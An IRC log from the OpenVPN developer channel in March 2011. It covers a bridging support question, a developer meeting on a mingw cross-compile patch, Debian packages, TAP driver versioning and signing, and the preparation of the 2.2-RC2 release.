hardware switch 11:59 <@dazo> erika_: try bridging 11:59 <+krzee> bridging would work, but why do you need tap? 11:59 <+krzee> what layer2 protocol are you using that only goes to the server...? 11:59 <+krzee> err no nevermind, i mean what layer2 protocol are you using over the vpn 12:00 <+krzee> my bad, tap would stil do layer2 with clients, just not lans 12:00 < erika_> dazo, actually I tried to add one interface, tap0 to one bridge, br0. But that does not work for obvious reasons. 12:01 < erika_> bridging 100 tap interfaces does indeed do what I need, but then I need 100 instances of openvpn 12:02 < erika_> I need mostly broadcast packets to work 12:02 <@dazo> you might need to look into ebtables as well when doing bridging ... and there are some proxy_arp settings which might be needed, but I don't recall those now 12:02 <@dazo> /proc/sys/net/rp_proxy or something like that 12:04 * dazo heads out for some quite errands before the meeting 12:04 < erika_> you say that a bridge can be configured to send packets back through the interface where they were recieved? 12:05 <@dazo> I believe that should be doable, however I've never tried this 12:06 <@dazo> as --client-to-client should basically take care of this 12:07 <+krzee> erika_, do you plan on answering me? 12:07 <+krzee> oh and i just noticed, you are in the wrong channel 12:07 <+krzee> this is not a dev question 12:08 < erika_> krzee, ethernet 12:08 <+krzee> umm, what ethernet PROTOCOL? 12:09 <+krzee> a valid answer would be something like "bootp" or "lan gaming" 12:09 <+krzee> but ya, this is the dev channel, #openvpn is the help channel 12:09 <+krzee> and theres a dev meeting soon, so it matters more than normal today 12:10 < erika_> krzee, ip only I think 12:10 < erika_> krzee, ok I do not want to disturb it 12:11 < ecrist> w00t I've got ldap auth working for vbulletin, but I'm immediately banned for some reason. 12:11 <+krzee> ip only = use dev tun, dont use --client-to-client, make the firewall allow the traffic, and maybe you need ip forwarding, not sure since its to the same interface 12:12 <+krzee> and booya not only do you have your goal, but you use less overhead for your 100 clients 12:12 < ecrist> isn't this a dev channel? 12:12 < ecrist> can this move to the main channel, plase? 12:12 <+krzee> +1, erika_ if you respond to that please do it in #openvpn 12:14 < ecrist> when I see activity in here, I usually think it's important. 12:14 < ecrist> I've been disappointed a few times today 12:14 < ecrist> :( 12:15 <+krzee> aye 12:17 <+krzee> im thinking maybe we should remove this channel from the #openvpn topic 12:21 < psha> krzee: secret mason channel ;) 12:23 <+krzee> ya, we can always tell people when they belong here, and its on the wiki 12:24 <+krzee> so devs will find their way here, and it would keep many of the people only seeking help from joining 12:24 <+krzee> what do you guys think? 12:30 < psha> krzee: good point, in most cases some devs are sitting on user channels too 12:31 < psha> and asking dev question on user channel is not a crime 12:31 <+krzee> right, and we forward those people here when appropriate 12:45 < cron2_> in case we're having a meeting tonight (in 15 minutes), I won't make it... :-o - need to leave now, won't be back before "in 45 minutes" 12:53 < mattock_> I'll be only semi-active until ~20.45, when I get home 12:57 < mattock_> topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2011-03-24 12:57 <@vpnHelper> Title: Topics-2011-03-24 – OpenVPN Community (at community.openvpn.net) 13:04 < psha> mattock_: so today meeting is postponed for 45 minutes? 13:05 < mattock_> nope, I'll try to multitask :) 13:05 < mattock_> dazo: can you take the lead at the beginning? 13:05 <@dazo> sure can do 13:06 < mattock_> thanks! 13:06 <@dazo> so who is here now? 13:06 <@dazo> mattock_: can you send your trigger mail to james? 13:07 < mattock_> will do :) 13:07 <@dazo> thx! 13:07 -!- psha_ [~Pavel@213.208.162.69] has joined #openvpn-devel 13:07 <@dazo> lets wait until james shows up then 13:08 -!- psha is now known as psha[away] 13:08 -!- psha_ is now known as psha 13:08 < psha[away]> dazo: may i ask you to ping 'psha' when debian packages will be discussed? 13:08 <@dazo> psha[away]: sure can do! 13:09 < psha[away]> thx 13:10 < mattock_> mail sent 13:10 <@dazo> thx! 13:15 <@dazo> krzee: I agree with removing #openvpn-devel from #openvpn topic 13:18 < mattock_> I hope james makes it, most topics need him 13:18 <@dazo> yeah, that's my thoughts exactly 13:19 <@dazo> mattock_: as psha wants to discuss debian packages, I'll wait for you to become ready for that 13:21 < mattock_> hmm, perhaps we should discuss debs now? 13:21 < mattock_> atm nothing important happening here 13:22 < mattock_> psha: there? 13:25 < psha[away]> yea 13:25 < mattock_> perhaps we could discuss deb pkgs now? 13:25 < psha[away]> sure. i've nothing special to say but this question is close to me 13:26 < mattock_> do you mean upstream packages? or those on build.openvpn.net? 13:27 * cron2_ is here but there's nothing really on the agenda I can say much about 13:28 < mattock_> we got debian 5 and ubuntu 10.04 packages for beta2.2/allmerged branches and i386/amd64 architecturea 13:28 < mattock_> s 13:29 < psha[away]> yes, i've just checked that 13:29 < mattock_> psha: any suggestions or comments? 13:29 <@dazo> cron2_: care to have a look at this one? http://thread.gmane.org/gmane.network.openvpn.devel/4274/focus=4283 13:29 < psha[away]> 5 is lenny 13:29 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:29 < psha[away]> is not it too old? 13:30 < mattock_> psha: well, squeeze was released a while back 13:30 < mattock_> but I suppose the packages work on it 13:30 <@dazo> I'd say lenny should have some grace time 13:31 < psha[away]> yes, it's mostly backward compatible 13:31 < psha[away]> at least for packages like openvpn 13:31 <@dazo> does dpkg contain ABI checks? to check that the proper libraries and their ABI is consistent? 13:31 < psha[away]> dazo: it's possible to check exported symbols with dh_shilb[something was here] 13:32 <@dazo> but is this done on these deb packages we produce? 13:32 < psha[away]> not dh_shlib, i'll find out what exactly 13:32 <@dazo> If it is, then we might have a trap ... if not, then no worries 13:32 < psha[away]> don't think so - openvpn is not library so it's useless i guess 13:32 < mattock_> I'll start migrating to squeeze soonish and also update the packages 13:32 < psha[away]> mattock_: why not to build both? 13:33 < psha[away]> for our local packages at work we had ~5 versions: 2 ubuntu and 3 (testing, stable, oldstable) for debian 13:33 < mattock_> no reason... just dont have time to setup squeeze vms atm 13:33 < psha[away]> it's a bit overkill but 2 debian versions is not hard 13:33 < psha[away]> ah 13:34 < mattock_> the packages get built automatically by buildbot on every commit 13:34 < mattock_> provided the vms (buildslaves) are up 13:34 <@dazo> or, every push I do, to be precise 13:34 < mattock_> yeah 13:34 < psha[away]> yes, i see now 13:35 <@dazo> are those build logs posted anywhere now? or do I still need to check the webUI each time? 13:36 < psha[away]> mattock_: debian/ subdir is living outside of main repo? 13:36 < mattock_> dazo: not yet, openvpn-builds list is available but I don't want to fill it with "spam" from buildbot 13:36 < mattock_> psha: yep 13:36 <@dazo> okay 13:37 < psha[away]> mattock_: is it synced with official one? 13:37 < mattock_> not atm, the control files are from lenny packages 13:38 < mattock_> ok, going home now, be back in 20mins 13:39 <@dazo> d12fk: mind having a look at this one as well? http://thread.gmane.org/gmane.network.openvpn.devel/4274/focus=4283 13:39 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:39 < psha[away]> it seem that Alberto is actively maintainting it - last change was 22.03.2011 13:39 <@dazo> Alberto == agi here in this channel, iirc 13:43 < psha[away]> dazo: that's good :) 13:44 -!- mattock_ [~mattock@spark-tku.mgt.turku.fi] has quit [Ping timeout: 276 seconds] 13:45 < cron2_> dazo: regarding the thread you'v epointed me to - seems I overlooked that in my mail heap, whatever. But I agree with you - logfiles on windows should be readable for typical windows programs. If someone wants to put those on a network share, and read them from unix, they are untypical enough that they need to work out this themselves 13:45 <@dazo> cron2_: so I can take this as an ACK from you? 13:45 < cron2_> ack 13:45 <@dazo> thx! 13:46 < cron2_> but I don't like the patch 13:46 < cron2_> open the log file in text mode 13:46 < cron2_> so ACK for the "fdopen( ..., "wt")" patch 13:47 < cron2_> and just ignore Karl Pinc - he's never sent in code, as far as I can see, just sending weird reasons why not to do something 13:49 <@dazo> agreed 13:53 <@dazo> cron2_: do you also have guts to ACK this one? http://thread.gmane.org/gmane.network.openvpn.devel/3991 13:53 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:54 * dazo haven't done any particular windows development and is not confident enough to ack this one 13:55 <@dazo> An ACK on this one would also be good: http://thread.gmane.org/gmane.network.openvpn.devel/4536 13:55 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:56 <@dazo> (this one is a man page clarification) 13:57 < cron2_> dazo: regarding 3991 - no idea, but this should be somewhat easy to test "if someone has a working cross-build environment" 13:57 <@dazo> yeah, based on mingw 13:58 < cron2_> ack 4536, sent to list 13:58 <@dazo> thx! 13:59 <@mattock> home sweet home 14:01 <@mattock> it seems James is in an especially deep hole today... 14:01 <@dazo> mm 14:02 <@mattock> no response to my mail yet 14:03 <@mattock> however, the good thing is that he was ok with me signing the releases in the future 14:03 <@mattock> which would remove most of the delay 14:04 <@mattock> cron2: you had a cross-compile environment earlier, right? 14:05 <@dazo> I think his cross-compile-environment is now on a broken box, iirc 14:05 <@mattock> cron2: was the environment difficult to set up? 14:06 <@mattock> I'm wondering if I should setup one in the future 14:08 <@dazo> could probably be good to have ... however, that environment could be on a Linux box 14:08 <@mattock> andrew told me james is uber-busy 14:08 <@dazo> what's happening nowadays? 14:08 < cron2_> mattock: I had a cross-compile environment, wasn't that hard - the tricky bit was to pick the right openssl version, as all pre 1.0 don't really want to be cross-compiled 14:09 < cron2_> the machine is still around, but haven't looked at the tree in 9 months, so stuff might have bit-rotted 14:09 <@mattock> cron2: ok, then I think setting up a (public) cross-compile box would be nice 14:09 <@mattock> or semi-public rather, similarly to all community services 14:09 <@mattock> e.g. the WinXP build VM 14:10 <@dazo> mattock: I don't know about Debian, but Fedora ships mingw cross compiler, to build windows binaries ... I even think the needed extra libs for a cross compile is available too 14:11 <@mattock> I would guess debian has them too 14:11 < cron2_> I think debian has them as well 14:11 < cron2_> gentoo has crossdev to build what you need, on demand :) 14:11 <@mattock> I'd prefer debian to avoid extra puppet configuration complexity 14:11 <@mattock> "what's not in debian is not needed" :P 14:12 <@dazo> That would be easier for us to work with ... compared to installing mingw environment on windows 14:12 <@dazo> lol 14:12 <@dazo> My variant is: What's not possible to do on the command line is not worth doing 14:12 <@mattock> dazo: what about the man-page patch I drafted yesterday? 14:12 <@dazo> mattock: huh ... I might have forgotten, if I have seen it 14:12 <+krzee> dazo, im right there with ya! 14:12 <@mattock> ok, lemme copy-and-paste 14:13 <@mattock> http://pastebin.com/nTeHWU25 14:13 < cron2_> dazo: LOTS easier than anything-on-windows 14:13 <+krzee> mattock, btw i know a unix admin / puppet ninja at apple very well, if you get stuck in puppet he may be able to advise 14:14 <@dazo> mattock: ACK 14:14 <@mattock> krzee: ok, so far I've managed to solve everything 14:14 <@dazo> mattock: send it over, and I'll add it now 14:14 <+krzee> cool 14:15 <@mattock> dazo: will do 14:15 <@dazo> krzee: we have our own puppet ninja ;-) 14:15 <+krzee> master of puppets! 14:15 <@dazo> lol 14:17 <@mattock> dazo: mail away! 14:17 <@dazo> thx! 14:17 <@mattock> krzee: puppet is fun, too bad I get to play it with so little :) 14:20 <@mattock> if I had to speculate, I'd say James won't make it today 14:21 <@mattock> do we have anything left that doesn't require james? 14:21 * krzee grabs mattock's arm and forces him to speculate 14:21 <+krzee> lol 14:21 <@mattock> krzee: "I'm pretty sure James won't make it today" 14:21 <@mattock> :D 14:22 <+krzee> ;] 14:22 <@mattock> if he visits this channel could you guys point him to the topic list anyways? 14:23 -!- psha [~Pavel@213.208.162.69] has quit [Quit: AndroidIrc Disconnecting] 14:23 -!- psha[away] is now known as psha 14:23 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:23 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:24 <@dazo> mattock: ^^ talking about the sun :) 14:24 <@mattock> hi jamesyonan! I lost hope ~1 minute ago, glad to have been proven wrong! :D 14:24 <@mattock> excellent you could make it! 14:24 <@dazo> indeed! 14:24 <@jamesyonan> hi! -- sorry, working too late last night. 14:24 <@mattock> jamesyonan: we got a few topics we couldn't handle ourselves 14:25 <@mattock> no problem! 14:25 <@dazo> can we do the patch first? 14:25 <@mattock> Alon's patch: http://article.gmane.org/gmane.network.openvpn.devel/4451 14:25 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 14:25 <@mattock> we're wondering if it's save to include, nobody has a functional cross-compile environment atm 14:26 <@mattock> cron2's cross-compile box broke a while back 14:26 <@dazo> the patch is found here: http://thread.gmane.org/gmane.network.openvpn.devel/3991 14:26 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:26 <@mattock> dazo: Alon said the latest patch is in the 4451 thread 14:26 <@mattock> he sent me mail privately 14:26 <@dazo> ahh 14:27 <@dazo> I didn't notice the attachment 14:28 <@dazo> grrr... it's just a diff, not a complete commit ... well, we'll write a commit message and put Alon as the author 14:29 -!- erika_ [~erika@stgt-5f709539.pool.mediaWays.net] has quit [Remote host closed the connection] 14:30 <@mattock> dazo: is that the last patch going into 2.2-RC2? 14:30 <@jamesyonan> how much has Alon's patch been tested? 14:30 <@dazo> only by Alon 14:31 <@mattock> jamesyonan: probably not outside his own cross-compile env 14:31 <@mattock> that's why it hasn't gotten an ACK yet, I guess 14:31 <@mattock> is there something that could (obviously) cause problems for others? 14:32 <@jamesyonan> alon has always liked to cross-compile for a mingw windows target on linux 14:32 <@jamesyonan> so he's a kind of unusual data point 14:33 <@mattock> what's the usual case? 14:33 <@mattock> or has been.. 14:33 <@jamesyonan> well I think that most people are going to build for windows on windows 14:35 <@mattock> can this patch break pure *NIX builds? 14:36 <@dazo> that shouldn't be an issue as I can see 14:36 <@dazo> if it breaks something, it's related to those *mingw* places 14:36 <@mattock> and mingw is for Windows building only? 14:37 <@jamesyonan> yes, mingw for windows only 14:37 <@jamesyonan> I'm looking at the change to acinclude.m4 14:37 <@mattock> and this patch _could_ break mingw build on Windows, right? 14:39 <@dazo> potentially, but as mingw environment is closer to the *nix environments, it shouldn't .... however, the acinclude.m4 changes is what scares me in his patch 14:40 <@jamesyonan> it seems like he's taken the socket_t code in acinclude.m4 and making it only apply to mingw? 14:45 <@dazo> yeah 14:45 <@mattock> does the patch make sense to you? 14:46 <@mattock> if not, what use cases would need testing to make sure it doesn't break anything? 14:46 <@jamesyonan> the #ifdefing of #include autodefs.h seems reasonable, since the autoconf environment probably isn't going to build it 14:47 <@jamesyonan> the CPPFLAGS="${CPPFLAGS} -DWIN32_LEAN_AND_MEAN" seems like something that mingw build on Windows might need 14:48 <@jamesyonan> but I don't understand why the change to acinclude.m4 has to affect the code paths for non-mingw 14:50 <@mattock> could we include the changes to syshead.h and tap-win32/common.h safely? 14:50 <@dazo> -DWIN32_LEAN_AND_MEAN seems to be something more cross-compiling environments uses as well, seems pretty common ... winamp, pidgin and libpurple uses it 14:51 <@dazo> http://sourceforge.net/apps/trac/mingw-w64/wiki/winsock2.h%20include%20order 14:51 <@vpnHelper> Title: winsock2.h include order – mingw-w64 (at sourceforge.net) 14:53 <@mattock> dazo: interesting find 14:53 <@dazo> just to solve issues with the order of #include windows.h 14:55 <@mattock> so, what do we do? 14:55 <@mattock> leave the patch waiting for testing 14:55 <@mattock> or ask for clarifications 14:55 < ecrist> krzee: you never changed the channel topic... 14:56 <@mattock> or include parts of the patch now and the rest later? 14:56 <@mattock> something else: please define :) 14:56 <@dazo> I don't like to split patches 14:56 <@mattock> yep, might break things 14:56 <@dazo> mm 14:57 <@jamesyonan> yeah, I would say to wait until we can fully test it 14:57 <@mattock> jamesyonan: which use cases should we test? 14:57 <@mattock> mingw build on windows? 14:59 <@jamesyonan> yes, we would need to test mingw on windows, python build on windows (to make sure the HAVE_CONFIG_H doesn't break it), and various unix builds to make sure that the acinclude.m4 doesn't break them 15:00 <@mattock> ok, next topic? 15:00 <@mattock> http://thread.gmane.org/gmane.network.openvpn.user/31994 15:00 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 15:00 <@jamesyonan> can we get some clarification from alon on the acinclude.m4 patch, i.e. why it needs to affect non-mingw code paths?  15:00 <@mattock> jamesyonan: of course 15:01 <@mattock> jamesyonan: I guess you're the only openvpnserv.exe expert here 15:01 <@mattock> what do you think about ^^^ 15:03 <@mattock> I think Alon summarizes the real issue 15:05 <@jamesyonan> re: the service --he's right that the service doesn't currently stop when the .exe stops. 15:05 <@jamesyonan> also, the service can potentially run more than one openvpn config, so that somewhat complexifies the decision flow as to when to exit 15:06 <@mattock> but still doable? 15:07 <@jamesyonan> it's probably fair to just say that the service should exit when there are 0 active openvpn.exe processes 15:08 <@mattock> ok, let's make this a Trac task 15:08 <@jamesyonan> and it's a good point he raises that by doing this, people can then leverage on Windows service auto-restart-after-crash capability 15:08 <@mattock> unless somebody feels like fixing this right away :) 15:09 <@mattock> if not, then next topic would be: "Kaspersky (antivirus?) thinks OpenVPN 2.1.4 (and later?) is a rootkit" 15:09 <@mattock> jamesyonan: is this a known problem? 15:09 <@jamesyonan> haven't seen that before 15:10 <@mattock> I tried reproducing it today, but Kaspersky's email trial download links were broken 15:10 <@mattock> still broken... 15:11 <@jamesyonan> the problem is that if a virus writer out there includes parts of OpenVPN in his virus, the resulting virus signature to block it might affect OpenVPN as well 15:11 <@mattock> I'll try to reproduce the issue later, it was reported by reiffert 15:11 <@mattock> if we can reproduce this I think we should contact Kaspersky 15:11 <@jamesyonan> definitely 15:12 <@mattock> ok, then we only have the 2.2-RC2 release 15:12 <@mattock> jamesyonan: how shall we handle the signing issues? me or you? 15:12 <@mattock> or handle signing, it's not really and issue :) 15:13 <@jamesyonan> let me sign this one, and then going forward we will get you set up for signing stuff yourself 15:13 <@mattock> ok 15:13 <@mattock> can you sign the TAP-driver I linked to today? 15:14 <@mattock> in next 10 hours or so 15:14 <@jamesyonan> yes, I can do it now 15:14 <@mattock> excellent! 15:14 <@mattock> do you have ~30 mins to spare? I could generate a new installer and smoketest it 15:14 <@mattock> then you could sign the installer and generate GPG signatures 15:14 <@dazo> mattock: that tap driver includes cron2's IPv6 patch? 15:15 <@dazo> commit 0265cf3a6b646cc02a78cc3501dce77f99e81a5f 15:15 <@mattock> it should, it's built from those sources 15:15 <@dazo> from the untagged beta2.2? 15:15 <@mattock> yep 15:15 <@dazo> okay, then it should be fine :) 15:16 <@mattock> dazo: is beta2.2 tree 100% ready for 2.2-RC2? 15:16 <@dazo> yeah, it's just that Alon will probably scream out ... so let's mail him first, to avoid unneeded noise 15:17 <@mattock> shall you? 15:18 <@dazo> well, I probably don't have much to contribute in such a discussion 15:18 <@mattock> jamesyonan: can you write a quick mail to Alon and ask for the clarifications? 15:18 <@dazo> could you just summarize jamesyonan and your discussion for him, so he sees why it's on hold? 15:19 <@jamesyonan> sure 15:19 <@mattock> excellent! 15:19 <@dazo> can a copy please go to openvpn-devel? 15:19 <@mattock> good idea 15:20 <@mattock> dazo: feel like dist-zip and dist-xz? :P 15:21 <@mattock> tagging shouldn't make difference to those 15:21 <@dazo> I can prepare them when I'll do the tagging ... I need to commit the version.m4 changes, and I like to have the tag pointing at that version commit 15:24 <@mattock> ok 15:25 <@mattock> dazo: do you still have time to do that? 15:25 <@dazo> yeah, I'm just in the middle of a rebase of bugfix2.1 into a brand new master branch, which is based on beta2.2 15:25 <@mattock> nice! 15:26 <@dazo> preparing the ground for the v2.3 development 15:29 <@jamesyonan> guys, is it too late to include alon's patch -- now that I've looked at it more deeply, I'm thinking that it might be okay. 15:29 <@mattock> jamesyonan: it's not too late yet 15:29 <@mattock> does it get your ACK? 15:30 <@jamesyonan> give me a few minutes 15:30 <@mattock> ok, no hurry 15:30 <@mattock> dazo: wait a moment before tagging ^^^ 15:36 <@dazo> we have time to wait :) 15:41 <@mattock> this would be a great time for some waiting music :D 15:41 <@mattock> or "elevator music" as we call it in Finland 15:41 <@dazo> heh 15:41 * dazo is listening to some swinging gospel music .... and is not willing to call that "elevator music" :) 15:42 <@mattock> definitely not 15:42 <@mattock> maybe I'll listen to something at the other end of the spectrum 15:42 <@mattock> :) 15:42 <@dazo> heh :) 15:45 <@jamesyonan> I just gave Alon's patch a quick run-through (unix build and windows python build) and I think it's fine 15:45 <@mattock> thanks! 15:45 <@mattock> I take that as an ACK 15:45 <@dazo> cool! then I'll set "Acked-by: James Yonan" :) 15:45 <@mattock> 2.2-RC2 is officially ready, then 15:45 <@dazo> mattock: TAP driver should be 9.7? 15:45 <@mattock> that's what cron2 used, check his TAP-driver commit log 15:45 <@mattock> so I suppose it's ok 15:46 <@dazo> sure! 15:46 < cron2_> I have no idea what I used, but let me check the code :) 15:46 <@mattock> 9.7 15:46 <@mattock> any reason to jump from 9.1 to 9.7? 15:47 <@mattock> why not 9.2? 15:47 < cron2_> that wasn't me, but it should be 9.*8* 15:47 <@mattock> oh 15:47 < cron2_> the tun.c source checks for "if it's before 9.7, it has no v6" 15:47 < cron2_> I think james bumped to 9.7 for 2.1, and I then bumped to 9.8 15:48 < cron2_> msg( M_INFO, "WARNING: Tap-Win32 driver version %d.%d does not support IPv6 in TUN mode. IPv6 will be disabled. Upgrade to Tap-Win32 9.8 (2.2-beta3 release or later) or use TAP mode to get IPv6", (int) info[0], (int) info[1] ); 15:48 <@mattock> ok, 9.8 15:48 <@dazo> okay, I'll bump it to 9,8 15:48 <@dazo> diff --git a/version.m4 b/version.m4 15:48 <@dazo> index 2e46645..a170b4e 100644 15:48 <@dazo> --- a/version.m4 15:48 <@dazo> +++ b/version.m4 15:48 <@dazo> @@ -1,6 +1,6 @@ 15:48 <@dazo> dnl define the OpenVPN version 15:49 <@dazo> -define(PRODUCT_VERSION,[2.2-RC]) 15:49 -!- mode/#openvpn-devel [+b *!~dazo@*openvpn/community/developer/dazo] by vpnHelper 15:49 -!- dazo was kicked from #openvpn-devel by vpnHelper [Repeated flooding! You've repeatedly flooded this channel. Please come back later.] 15:49 <@mattock> hahaha, a classic! :P 15:49 <@mattock> happened to me a while back 15:49 < cron2_> can we de-sensify vpnHelper somewhat? like "one screen full is ok"? 15:50 <@mattock> ecrist, krzee? ^^^ 15:53 -!- mode/#openvpn-devel [-b *!~dazo@*openvpn/community/developer/dazo] by ChanServ 15:53 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:53 -!- mode/#openvpn-devel [+o dazo] by ChanServ 15:53 < cron2_> welcome back 15:53 <@mattock> huh 15:53 <@dazo> I found chanserv being more co-operative using the right command :) 15:54 <@mattock> jamesyonan: actually we need to rebuilt the TAP-drivers before you sign them 15:54 <@dazo> mattock: cron2_: http://www.fpaste.org/mH5M/ ... this is all we need to do? 15:54 <@mattock> due to version number (9.1 -> 9.8) 15:54 <@dazo> to set the right version on the TAP driver? 15:54 <@jamesyonan> sure 15:55 <@mattock> looks right 15:55 <@mattock> the Python build system parses variables in version.m4 and uses them elsewhere (e.g. in tap-win32/*) 15:55 <@dazo> goodie! 15:56 <@mattock> after tagging I'll rebuilt the Win installer from tarball, do quick smoketests and check the TAP-driver version 15:56 <@mattock> and then the drivers are ready for signing 15:58 < cron2_> dazo: looks like it 15:58 < cron2_> mattock: sounds great 16:05 <@dazo> running 'make distcheck' now 16:05 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:10 <@dazo> git tree is pushed 16:12 <@mattock> http://swupdate.openvpn.net/community/releases/openvpn-2.2-RC2.zip 16:12 <@mattock> http://swupdate.openvpn.net/community/releases/openvpn-2.2-RC2.tar.gz 16:12 <@mattock> http://swupdate.openvpn.net/community/releases/openvpn-2.2-RC2.tar.xz 16:12 <@dazo> sweet :) 16:13 <@mattock> building from zip 16:17 <@mattock> hmm, I don't think this is a showstopper, but TAP_RELDATE defined in win/settings.in is apparently wrong (=not updated) 16:17 <@mattock> shouldn't affect anything, though 16:17 <@mattock> "to be fixed by 2.2" material 16:17 <@dazo> agreed 16:17 <@dazo> dirty, but agreed 16:18 <@dazo> any reason that date is not in version.m4? 16:18 <@dazo> would be less "difficult" to forget to update it if TAP version and TAP date was in the same file 16:18 <@mattock> jamesyonan: ^^^ 16:21 <@mattock> build seemed to work, let's see about the installers 16:21 < cron2_> great 16:21 * cron2_ goes to be now :) 16:22 <@jamesyonan> originally version.m4 was just for the openvpn version and all the other win settings were in settings.in -- but then Alon wanted to be able to build openvpn.exe using mingw cross compiler on unix, and autoconf couldn't really interact with settings.in, so some stuff got put in version.m4 for the benefit of mingw autoconf builds 16:24 <@jamesyonan> so basically version.m4 is for parms that are needed by both autoconf (for openvpn binary only) and python build systems 16:25 <@mattock> could the TAP_RELDATE be there? 16:30 <@mattock> smoketest passed on winxp x86 16:41 <@mattock> win7 x64 failed to load the TAP-drivers, but I'm 99% sure it's just code signing issue 16:41 <@mattock> the code signing logic is still vague to me 16:46 -!- andj is now known as andj_afk 16:49 <@mattock> jamesyonan: the unsigned TAP-driver are here: http://build.openvpn.net/tap-2.2-RC2.tar.gz 16:50 <@jamesyonan> ok 16:50 <@mattock> Win7 64-bit failed to load them, but it was a generic "code not signed" type error 16:50 <@mattock> I've tested the same drivers previously with success 16:52 <@mattock> jamesyonan: I'll do more testing with the signed TAP-drivers and prepare the staging server by 18:00 UTC 16:53 <@mattock> if you can sign the rest at that time, 2.2-RC2 can be released tomorrow 16:53 <@mattock> got to get some sleep now, good (extended) meeting! 17:17 < ecrist> cron2_: 'one screen full' is different for everyone. It's much quicker to fill my cell phone's screen than my dual 22" monitors. 18:20 -!- dazo is now known as dazo_afk 19:03 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Ping timeout: 276 seconds] 19:06 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 19:20 < ecrist> mattock: making slow headway with vbulletin, but I have a long way to go. I think, when I'm done, I'll even be able to allow users to change their email and password from within the forum interface. Should be fun. 21:54 -!- Netsplit *.net <-> *.split quits: @jamesyonan, @d12fk, waldner 22:00 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 22:00 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 22:00 -!- d12fk [~heiko@vpn.astaro.de] has joined #openvpn-devel 22:00 -!- ServerMode/#openvpn-devel [+oo jamesyonan d12fk] by anthony.freenode.net --- Day changed Fri Mar 25 2011 00:03 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 00:03 -!- mode/#openvpn-devel [+v krzie] by ChanServ 01:05 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:29 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 01:40 -!- andj_afk is now known as andj 01:41 -!- dazo_afk is now known as dazo 01:54 -!- andj is now known as andj_afk 02:24 <@d12fk> dazo: what's this? The log file written by the old or the new GUI? 02:25 <@dazo> d12fk: no worries, cron2_ ACKed it yesterday ... it's OpenVPN logs ... they had only \n instead of \n\r on Windows 02:25 <@dazo> should be solved by open the file with "wt" instead of just "w" on Windows 02:27 <@d12fk> ok, afaik the GUI did it the right way, but the new one relies on ovpn to write the log itself, so this patch is welcome 02:27 <@dazo> cool! :) 02:27 <@dazo> it will go into the 2.2 release, so then we should be good when you're ready with a newer GUI 02:28 <@d12fk> yeah 02:28 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 02:28 -!- mode/#openvpn-devel [+v krzie] by ChanServ 02:34 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 02:42 <@vpnHelper> RSS Update - testtrac: Adding support for SOCKS plain text authentication <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=43c1f78ae018f30a55bf1aa72cdd4d6f7bf8bded> || enhance tls-verify possibility <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=a2d4ad1b2531b41ed5defa240db6b035eb6be634> || Several updates to openvpn.8 (man page updates) <http:/ 02:43 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 02:43 -!- mode/#openvpn-devel [+v krzie] by ChanServ 02:54 <@vpnHelper> RSS Update - testtrac: Open log files as text files on Windows <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=527a351d5843793d016735a5e24daab42442ba45> || Fixes to Makefile.am <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=ef2cbc771a6cf95868f2bb1c692e3cc9e2be5280> || Updated INSTALL-win32.txt <http://openvpn.git.sourceforge.net/git/gitweb.cgi 03:10 <@d12fk> guys, does anyone remember the InternetQueryOption() discussion we had quite some time ago? Alon mentioned a WIN32 API function that's better suited to query for the proxy but I can't seem to find the discussion. Any pointers? 03:11 <@dazo> uhh ... I remember it 03:11 * dazo searches 03:13 <@dazo> d12fk: You might find some leads here ... https://community.openvpn.net/openvpn/ticket/24 03:13 <@vpnHelper> Title: #24 (Migrate OpenVPN auto-proxy code from "IE4 API" to "InternetQueryOption API") – OpenVPN Community (at community.openvpn.net) 03:17 <@d12fk> hm, that's not it, probably was off the record, but thanks 03:19 <@d12fk> i'll stray around in msdn for a while then =) 03:22 <@d12fk> ah got it http://thread.gmane.org/gmane.network.openvpn.devel/3637 03:22 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 03:24 <@d12fk> WinHttpGetProxyForUrl() it is 03:24 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 03:46 <@mattock> ecrist: neat! 03:49 <@mattock> jamesyonan: do you have the signed TAP-driver somewhere? 03:52 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 260 seconds] 03:52 <@vpnHelper> RSS Update - testtrac: Use a version-less version identifier on the master branch <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=badba714db7dc62c7844069d86f615ad946b4a6e> || common_name passing in auth_pam plugin <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=6cfada268122fe54ce6d211d96c744e91d41248c> || Fixed typo in 